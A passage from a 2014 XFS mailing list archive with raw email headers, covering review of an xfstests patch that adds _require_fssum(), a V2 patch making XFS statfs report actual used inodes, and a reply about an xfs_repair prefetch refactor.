ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L3JkZjpSREY+PC94OnhtcG1l dGE+PD94cGFja2V0IGVuZD0idyI/Pg0KZW5kc3RyZWFtDQplbmRvYmoNCnhyZWYNCjAgOQ0KMDAw MDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDE3IDAwMDAwIG4NCjAwMDAwMDAyOTEgMDAwMDAgbg0K MDAwMDAwMDM0NyAwMDAwMCBuDQowMDAwMDAwNTEyIDAwMDAwIG4NCjAwMDAwMDA2ODkgMDAwMDAg bg0KMDAwMDA5ODIzNSAwMDAwMCBuDQowMDAwMDk4NTM1IDAwMDAwIG4NCjAwMDAxMDEyMDcgMDAw MDAgbg0KdHJhaWxlcg0KPDwvU2l6ZSA5L1Jvb3QgMSAwIFIvSW5mbyA2IDAgUi9JRFs8MjI3QTVC QzExQTlEMTE0Nzk2MjdCM0JFMUY3RTNBOUI+PDIyN0E1QkMxMUE5RDExNDc5NjI3QjNCRTFGN0Uz QTlCPl0gPj4NCnN0YXJ0eHJlZg0KMTA0NjM4DQolJUVPRg== ------=_NextPart_000_086D_01CF31AE.36614A90-- From david@fromorbit.com Mon Feb 24 16:22:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 861757F50 for ; Mon, 24 Feb 2014 16:22:25 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 73174304070 for ; Mon, 24 Feb 2014 14:22:25 -0800 (PST) X-ASG-Debug-ID: 1393280539-04cb6c6de177a1e0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id p4GRiR8qv8Ze1HNe for ; Mon, 24 Feb 2014 14:22:19 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkNKAOTEC1N5LJYePGdsb2JhbABZgwaIT7QbhVWBHhcDAQEBATg1giUBAQQBOhwjEAgDGAklDwUNGAMHGhOHcQMJB78JDYZxFxaMOYIVB4Q4BJZHgWyKUoIPiQgogSwk Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 25 Feb 2014 08:52:18 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WI3ui-0007OT-2v; Tue, 25 Feb 2014 09:22:16 +1100 Date: Tue, 25 Feb 2014 09:22:16 +1100 From: Dave Chinner To: Filipe David Manana Cc: "xfs@oss.sgi.com" , "linux-btrfs@vger.kernel.org" Subject: Re: [PATCH] xfstests: add function _require_fssum() Message-ID: <20140224222216.GP4317@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: add function _require_fssum() References: <1393242983-16149-1-git-send-email-fdmanana@gmail.com> <20140224122310.GO4317@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1393280539 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145473 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 24, 2014 at 01:22:36PM +0000, Filipe David Manana wrote: > On Mon, Feb 24, 2014 at 12:23 PM, Dave Chinner wrote: > > On Mon, Feb 24, 2014 at 11:56:23AM +0000, Filipe David Borba Manana wrote: > >> To avoid repeating detection of fssum presence in many btrfs tests, as > >> suggested by Dave Chinner. > >> > >> Signed-off-by: Filipe David Borba Manana > >> --- > >> common/rc | 7 +++++++ > >> tests/btrfs/007 | 5 +---- > >> tests/btrfs/016 | 5 +---- > >> tests/btrfs/030 | 5 +---- > >> tests/btrfs/038 | 5 +---- > >> tests/btrfs/039 | 5 +---- > >> tests/btrfs/040 | 5 +---- > >> tests/btrfs/041 | 5 +---- > >> tests/btrfs/042 | 5 +---- > >> 9 files changed, 15 insertions(+), 32 deletions(-) > >> mode change 100644 => 100755 tests/btrfs/016 > >> > >> diff --git a/common/rc b/common/rc > >> index 5df504c..cce05cc 100644 > >> --- a/common/rc > >> +++ b/common/rc > >> @@ -2144,6 +2144,13 @@ _require_cp_reflink() > >> _notrun "This test requires a cp with --reflink support." > >> } > >> > >> +_require_fssum() > >> +{ > >> + HERE=`pwd` > >> + FSSUM_PROG=$HERE/src/fssum > >> + [ -x $FSSUM_PROG ] || _notrun "fssum not built" > >> +} > > > > $here is defined by check to be the root of the xfstests instance > > that is running. There's 60+ tests that already us it. Hence: > > > > _require_fssum() > > { > > FSSUM_PROG=$here/src/fssum > > [ -x $FSSUM_PROG ] || _notrun "fssum not built" > > } > > > > Is all you need here. > > Hum, doesn't work unless the test file defines $here. At least when > running a single only (.e.g. ./check btrfs/041). Right, I realised that it isn't exported from check, and the template for new tests defines it as: here=\`pwd\` which is essentially the same thing. Almost every test does it. $ git grep here=\`pwd\` |wc -l 364 And it works just fine when running a test as you describe above. Many of the _requires* functions just use $here directly, and does a lot of the common/* infrastructure. It is assumed that $here is set and valid and so if it wasn't set, lots of different things would break. Oh, I note that btrfs/034 and btrfs/037 don't set it, so they need fixing, too. Looking at it, though, we shoul djust export the value from check and remove the assignment that occurs in every test as they end up being the same value: $ sudo ./check generic/001 check_here=/home/dave/src/xfstests-dev FSTYP -- xfs (debug) PLATFORM -- Linux/x86_64 test2 3.14.0-rc3-dgc+ MKFS_OPTIONS -- -f -bsize=4096 /dev/vdb MOUNT_OPTIONS -- /dev/vdb /mnt/scratch generic/001 5s ... [failed, exit status 1] - output mismatch (see /home/dave/src/xfstests-dev/results//generic/001.out.bad) ..... $ cat /home/dave/src/xfstests-dev/results//generic/001.out.bad QA output created by 001 here=/home/dave/src/xfstests-dev $ > >> diff --git a/tests/btrfs/007 b/tests/btrfs/007 > >> index 5df9ccb..5430613 100755 > >> --- a/tests/btrfs/007 > >> +++ b/tests/btrfs/007 > >> @@ -31,7 +31,6 @@ seq=`basename $0` > >> seqres=$RESULT_DIR/$seq > >> echo "QA output created by $seq" > >> > >> -here=`pwd` > >> tmp=`mktemp -d` > >> status=1 > > > > Yeah, redefining $here is a bad thing to do :/ Right, my mistake. It needs to be defined for the entire test, not in a requires function. Hence I think we should just export it from check.... > > It also points out that the btrfs tests are using a non-standard > > $tmp directory - one that is in the xfstests source directory. > > That's a bad thing, too - tests should be using: > > > > tmp=/tmp/$$ > > > > to store small temporary files. > > > > If /tmp is too small for what a test needs, then the test should be > > using $TEST_DIR as the store for the temporary files to exercise > > the filesystem under test as much as possible. e.g. send image > > files build form snapshots of SCRATCH_DEV should be stored on TEST_DIR, > > not in $tmp; filesystem image files that are mounted by loopback > > should be stored on TEST_DIR or SCRATCH_MNT, not $tmp. And so on. > > > > i.e. the idea is that you direct as much of the IO to the test_DIR > > and SCRATCH_MNT as possible, not to the filesystem that is hosting > > $tmp or the xfstests source directory.... > > Right. Sounds like a separate patch (to use TEST_DIR/$$ for e.g. as a > place to store temporary test data). tmp should be set to /tmp/$$. That's where the *test harness* will direct temporary log files, mkfs output, etc. If you have temporary data for the *test*, and it's large, use TEST_DIR, not $tmp. $tmp is generally only for things like log files, time stamps, output files that need later processing because they can't be filtered directly, etc. Why? Because if the test corrupts $TEST_DIR and you've got all the test harness tmp files on TEST_DIR, how is the test harness going to work out what went wrong during the test? Cheers, Dave. -- Dave Chinner david@fromorbit.com From fdmanana@gmail.com Mon Feb 24 17:08:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D916B7F50 for ; Mon, 24 Feb 2014 17:08:33 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9E9EE30406A for ; Mon, 24 Feb 2014 15:08:30 -0800 (PST) X-ASG-Debug-ID: 1393283307-04bdf00fca366830001-NocioJ Received: from mail-bk0-f48.google.com (mail-bk0-f48.google.com [209.85.214.48]) by cuda.sgi.com with ESMTP id PFkld6VEOeOVH4gr (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 24 Feb 2014 15:08:28 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.48 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.48] Received: by mail-bk0-f48.google.com with SMTP id mx12so763910bkb.35 for ; Mon, 24 Feb 2014 15:08:27 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.48] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.48] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:in-reply-to:references:date:message-id :subject:from:to:cc:content-type; bh=d1fYBAcFpBvPPMVIJRdymxdJHGCpr67RXz7wxxgkzEk=; b=fp5tJyn+R4b9+dZn2rX6OkTRjRu3fcHnWnnC+UhqD4dLzQncB6yh3/nLxHnEDUFfd/ p6BFils6txTA1OIwWXA4//ODov0UbgHscGTGGBJnYKZwDiSkzSRn5p7Jd48yPSC4+hTQ ZBBoHQStgBfwRG7InYVGfbFkyNldA2/qz1qEzUOTMEFON75EH1daobn6vjE2PORhMmYM 4dTWsMgh9TyqJkiO0j5e1onSuAWk9KLbB7pPO211jBXCoQl0BZi/W3Tg6SfRkhdg5JsI 8yVxFjMU4puinV1x1mrZzglmv2ugb04qjywowcfPgksen2venaQSv6vn4Z6g/59Si5sP KbAg== MIME-Version: 1.0 X-Received: by 10.205.24.197 with SMTP id rf5mr55693bkb.153.1393283307184; Mon, 24 Feb 2014 15:08:27 -0800 (PST) Received: by 10.204.69.197 with HTTP; Mon, 24 Feb 2014 15:08:27 -0800 (PST) Reply-To: fdmanana@gmail.com In-Reply-To: <20140224222216.GP4317@dastard> References: <1393242983-16149-1-git-send-email-fdmanana@gmail.com> <20140224122310.GO4317@dastard> <20140224222216.GP4317@dastard> Date: Mon, 24 Feb 2014 23:08:27 +0000 Message-ID: Subject: Re: [PATCH] xfstests: add function _require_fssum() From: Filipe David Manana X-ASG-Orig-Subj: Re: [PATCH] xfstests: add function _require_fssum() To: Dave Chinner Cc: "xfs@oss.sgi.com" , "linux-btrfs@vger.kernel.org" Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-bk0-f48.google.com[209.85.214.48] X-Barracuda-Start-Time: 1393283308 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145474 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Feb 24, 2014 at 10:22 PM, Dave Chinner wrote: > On Mon, Feb 24, 2014 at 01:22:36PM +0000, Filipe David Manana wrote: >> On Mon, Feb 24, 2014 at 12:23 PM, Dave Chinner wrote: >> > On Mon, Feb 24, 2014 at 11:56:23AM +0000, Filipe David Borba Manana wrote: >> >> To avoid repeating detection of fssum presence in many btrfs tests, as >> >> suggested by Dave Chinner. >> >> >> >> Signed-off-by: Filipe David Borba Manana >> >> --- >> >> common/rc | 7 +++++++ >> >> tests/btrfs/007 | 5 +---- >> >> tests/btrfs/016 | 5 +---- >> >> tests/btrfs/030 | 5 +---- >> >> tests/btrfs/038 | 5 +---- >> >> tests/btrfs/039 | 5 +---- >> >> tests/btrfs/040 | 5 +---- >> >> tests/btrfs/041 | 5 +---- >> >> tests/btrfs/042 | 5 +---- >> >> 9 files changed, 15 insertions(+), 32 deletions(-) >> >> mode change 100644 => 100755 tests/btrfs/016 >> >> >> >> diff --git a/common/rc b/common/rc >> >> index 5df504c..cce05cc 100644 >> >> --- a/common/rc >> >> +++ b/common/rc >> >> @@ -2144,6 +2144,13 @@ _require_cp_reflink() >> >> _notrun "This test requires a cp with --reflink support." >> >> } >> >> >> >> +_require_fssum() >> >> +{ >> >> + HERE=`pwd` >> >> + FSSUM_PROG=$HERE/src/fssum >> >> + [ -x $FSSUM_PROG ] || _notrun "fssum not built" >> >> +} >> > >> > $here is defined by check to be the root of the xfstests instance >> > that is running. There's 60+ tests that already us it. Hence: >> > >> > _require_fssum() >> > { >> > FSSUM_PROG=$here/src/fssum >> > [ -x $FSSUM_PROG ] || _notrun "fssum not built" >> > } >> > >> > Is all you need here. >> >> Hum, doesn't work unless the test file defines $here. At least when >> running a single only (.e.g. ./check btrfs/041). > > Right, I realised that it isn't exported from check, and the template > for new tests defines it as: > > here=\`pwd\` > > which is essentially the same thing. Almost every test does it. > > $ git grep here=\`pwd\` |wc -l > 364 > > And it works just fine when running a test as you describe above. > Many of the _requires* functions just use $here directly, and does a > lot of the common/* infrastructure. It is assumed that $here is set > and valid and so if it wasn't set, lots of different things would > break. > > Oh, I note that btrfs/034 and btrfs/037 don't set it, so they need > fixing, too. > > Looking at it, though, we shoul djust export the value from check > and remove the assignment that occurs in every test as they end up > being the same value: > > $ sudo ./check generic/001 > check_here=/home/dave/src/xfstests-dev > FSTYP -- xfs (debug) > PLATFORM -- Linux/x86_64 test2 3.14.0-rc3-dgc+ > MKFS_OPTIONS -- -f -bsize=4096 /dev/vdb > MOUNT_OPTIONS -- /dev/vdb /mnt/scratch > > generic/001 5s ... [failed, exit status 1] - output mismatch (see /home/dave/src/xfstests-dev/results//generic/001.out.bad) > ..... > $ cat /home/dave/src/xfstests-dev/results//generic/001.out.bad > QA output created by 001 > here=/home/dave/src/xfstests-dev > $ > >> >> diff --git a/tests/btrfs/007 b/tests/btrfs/007 >> >> index 5df9ccb..5430613 100755 >> >> --- a/tests/btrfs/007 >> >> +++ b/tests/btrfs/007 >> >> @@ -31,7 +31,6 @@ seq=`basename $0` >> >> seqres=$RESULT_DIR/$seq >> >> echo "QA output created by $seq" >> >> >> >> -here=`pwd` >> >> tmp=`mktemp -d` >> >> status=1 >> > >> > Yeah, redefining $here is a bad thing to do :/ > > Right, my mistake. It needs to be defined for the entire test, not > in a requires function. Hence I think we should just export it from > check.... Hum, ok. So the decision is to let the tests explicitly define the variable "here", and not export "here" from the main check script. > >> > It also points out that the btrfs tests are using a non-standard >> > $tmp directory - one that is in the xfstests source directory. >> > That's a bad thing, too - tests should be using: >> > >> > tmp=/tmp/$$ >> > >> > to store small temporary files. >> > >> > If /tmp is too small for what a test needs, then the test should be >> > using $TEST_DIR as the store for the temporary files to exercise >> > the filesystem under test as much as possible. e.g. send image >> > files build form snapshots of SCRATCH_DEV should be stored on TEST_DIR, >> > not in $tmp; filesystem image files that are mounted by loopback >> > should be stored on TEST_DIR or SCRATCH_MNT, not $tmp. And so on. >> > >> > i.e. the idea is that you direct as much of the IO to the test_DIR >> > and SCRATCH_MNT as possible, not to the filesystem that is hosting >> > $tmp or the xfstests source directory.... >> >> Right. Sounds like a separate patch (to use TEST_DIR/$$ for e.g. as a >> place to store temporary test data). > > tmp should be set to /tmp/$$. That's where the *test harness* will > direct temporary log files, mkfs output, etc. If you have temporary > data for the *test*, and it's large, use TEST_DIR, not $tmp. > $tmp is generally only for things like log files, time stamps, > output files that need later processing because they can't be > filtered directly, etc. > > Why? Because if the test corrupts $TEST_DIR and you've got all the > test harness tmp files on TEST_DIR, how is the test harness going > to work out what went wrong during the test? Makes sense. All these btrfs tests are adding small files to /tmp, less than ~100Kb or so (certainly not megabytes), so that seems fine. Thanks Dave > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com -- Filipe David Manana, "Reasonable men adapt themselves to the world. Unreasonable men adapt the world to themselves. That's why all progress depends on unreasonable men." From sandeen@sandeen.net Mon Feb 24 17:10:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FRT_FREE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 852D97F50 for ; Mon, 24 Feb 2014 17:10:37 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 180B5AC002 for ; Mon, 24 Feb 2014 15:10:33 -0800 (PST) X-ASG-Debug-ID: 1393283432-04bdf00fca3669c0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id KQxwamCCadanEeSb for ; Mon, 24 Feb 2014 15:10:32 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 49E1163C59A4; Mon, 24 Feb 2014 17:10:32 -0600 (CST) Message-ID: <530BD167.2020600@sandeen.net> Date: Mon, 24 Feb 2014 17:10:31 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH V2] xfs: be honest about used inodes in statfs References: <53067DC0.9040800@redhat.com> X-ASG-Orig-Subj: [PATCH V2] xfs: be honest about used inodes in statfs In-Reply-To: <53067DC0.9040800@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393283432 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145474 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Because we have lazy counters, it's possible that we over-allocate inodes past the maxicount (imaxpct) limit. A previous commit, 2fe3366 xfs: ensure f_ffree returned by statfs() is non-negative stopped statfs from underflowing f_ffree in this case, but that only happened when we mis-reported f_files, capped at maxicount. Change statfs to report the actual number of inodes allocated, even if it is greater than maxicount. It's reality. Deal with it. (New clearer code flow thanks to Brian!) Logic-made-readable-by: Brian Foster Signed-off-by: Eric Sandeen --- V2: Use Brian's suggested logic for working out the numbers diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index f317488..0dbcc17 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -1083,7 +1083,6 @@ xfs_fs_statfs( struct xfs_inode *ip = XFS_I(dentry->d_inode); __uint64_t fakeinos, id; xfs_extlen_t lsize; - __int64_t ffree; statp->f_type = XFS_SB_MAGIC; statp->f_namelen = MAXNAMELEN - 1; @@ -1100,17 +1099,19 @@ xfs_fs_statfs( statp->f_blocks = sbp->sb_dblocks - lsize; statp->f_bfree = statp->f_bavail = sbp->sb_fdblocks - XFS_ALLOC_SET_ASIDE(mp); + /* + * Potential number of new inodes in free blocks, limited by maxicount. + */ fakeinos = statp->f_bfree << sbp->sb_inopblog; - statp->f_files = - MIN(sbp->sb_icount + fakeinos, (__uint64_t)XFS_MAXINUMBER); if (mp->m_maxicount) - statp->f_files = min_t(typeof(statp->f_files), - statp->f_files, - mp->m_maxicount); + fakeinos = mp->m_maxicount > sbp->sb_icount ? + MIN(mp->m_maxicount - sbp->sb_icount, fakeinos) : 0; + + /* Total possible files is current inodes + potential new inodes */ + statp->f_files = MIN(sbp->sb_icount + fakeinos, + (__uint64_t) XFS_MAXINUMBER); - /* make sure statp->f_ffree does not underflow */ - ffree = statp->f_files - (sbp->sb_icount - sbp->sb_ifree); - statp->f_ffree = max_t(__int64_t, ffree, 0); + statp->f_ffree = statp->f_files - (sbp->sb_icount - sbp->sb_ifree); spin_unlock(&mp->m_sb_lock); From david@fromorbit.com Mon Feb 24 17:19:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4FBAF7F50 for ; Mon, 24 Feb 2014 17:19:04 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2B79F30406A for ; Mon, 24 Feb 2014 15:19:04 -0800 (PST) X-ASG-Debug-ID: 1393283941-04cb6c6de277d210001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 1FEJWiUpeODObCUC for ; Mon, 24 Feb 2014 15:19:01 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AudmAOjSC1N5LJYePGdsb2JhbABZgwY7iBShEQOTB4VVgRkXAwEBAQE4NYIlAQEFJxMcIxAIAw4HAwklDwUlAwcaE4gExhcXFo5OB4Q4BJgzgTOUNig Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 25 Feb 2014 09:46:22 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WI4l2-0007W0-PM; Tue, 25 Feb 2014 10:16:20 +1100 Date: Tue, 25 Feb 2014 10:16:20 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 05/10] repair: factor out threading setup code Message-ID: <20140224231620.GS13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 05/10] repair: factor out threading setup code References: <1393223369-4696-1-git-send-email-david@fromorbit.com> <1393223369-4696-6-git-send-email-david@fromorbit.com> <20140224204304.GB49654@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140224204304.GB49654@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1393283941 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145475 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 24, 2014 at 03:43:05PM -0500, Brian Foster wrote: > On Mon, Feb 24, 2014 at 05:29:24PM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > The same code is repeated in different places to set up > > multithreaded prefetching. This can all be factored into a single > > implementation. > > > > Signed-off-by: Dave Chinner .... > > static void > > traverse_ags( > > - xfs_mount_t *mp) > > + struct xfs_mount *mp) > > { > > - int i; > > - work_queue_t queue; > > - prefetch_args_t *pf_args[2]; > > - > > - /* > > - * we always do prefetch for phase 6 as it will fill in the gaps > > - * not read during phase 3 prefetch. > > - */ > > - queue.mp = mp; > > - pf_args[0] = start_inode_prefetch(0, 1, NULL); > > - for (i = 0; i < glob_agcount; i++) { > > - pf_args[(~i) & 1] = start_inode_prefetch(i + 1, 1, > > - pf_args[i & 1]); > > - traverse_function(&queue, i, pf_args[i & 1]); > > - } > > + do_inode_prefetch(mp, 0, traverse_function, true, true); > > The cover letter indicates the parallelization of phase 6 was dropped, > but this appears to (conditionally) enable it. No, it enables prefetch, it does not enable threading. The second parameter is "0" which means that do_inode_prefetch() executes the single threaded prefetch walk like the above code. i.e.: > > + */ > > +void > > +do_inode_prefetch( > > + struct xfs_mount *mp, > > + int stride, stride = 0 > > + void (*func)(struct work_queue *, > > + xfs_agnumber_t, void *), > > + bool check_cache, > > + bool dirs_only) > > +{ > > + int i, j; > > + xfs_agnumber_t agno; > > + struct work_queue queue; > > + struct work_queue *queues; > > + struct prefetch_args *pf_args[2]; > > + > > + /* > > + * If the previous phases of repair have not overflowed the buffer > > + * cache, then we don't need to re-read any of the metadata in the > > + * filesystem - it's all in the cache. In that case, run a thread per > > + * CPU to maximise parallelism of the queue to be processed. > > + */ > > + if (check_cache && !libxfs_bcache_overflowed()) { > > + queue.mp = mp; > > + create_work_queue(&queue, mp, libxfs_nproc()); > > + for (i = 0; i < mp->m_sb.sb_agcount; i++) > > + queue_work(&queue, func, i, NULL); > > + destroy_work_queue(&queue); > > + return; > > + } > > + > > + /* > > + * single threaded behaviour - single prefetch thread, processed > > + * directly after each AG is queued. > > + */ > > + if (!stride) { > > + queue.mp = mp; > > + pf_args[0] = start_inode_prefetch(0, dirs_only, NULL); > > + for (i = 0; i < mp->m_sb.sb_agcount; i++) { > > + pf_args[(~i) & 1] = start_inode_prefetch(i + 1, > > + dirs_only, pf_args[i & 1]); > > + func(&queue, i, pf_args[i & 1]); > > + } > > + return; > > + } So we run this "!stride" code. Hmmmm - maybe you are commenting on the "check_cache" code? I probably should prevent that from triggering, too. Cheers, Dave. -- Dave Chinner david@fromorbit.com From 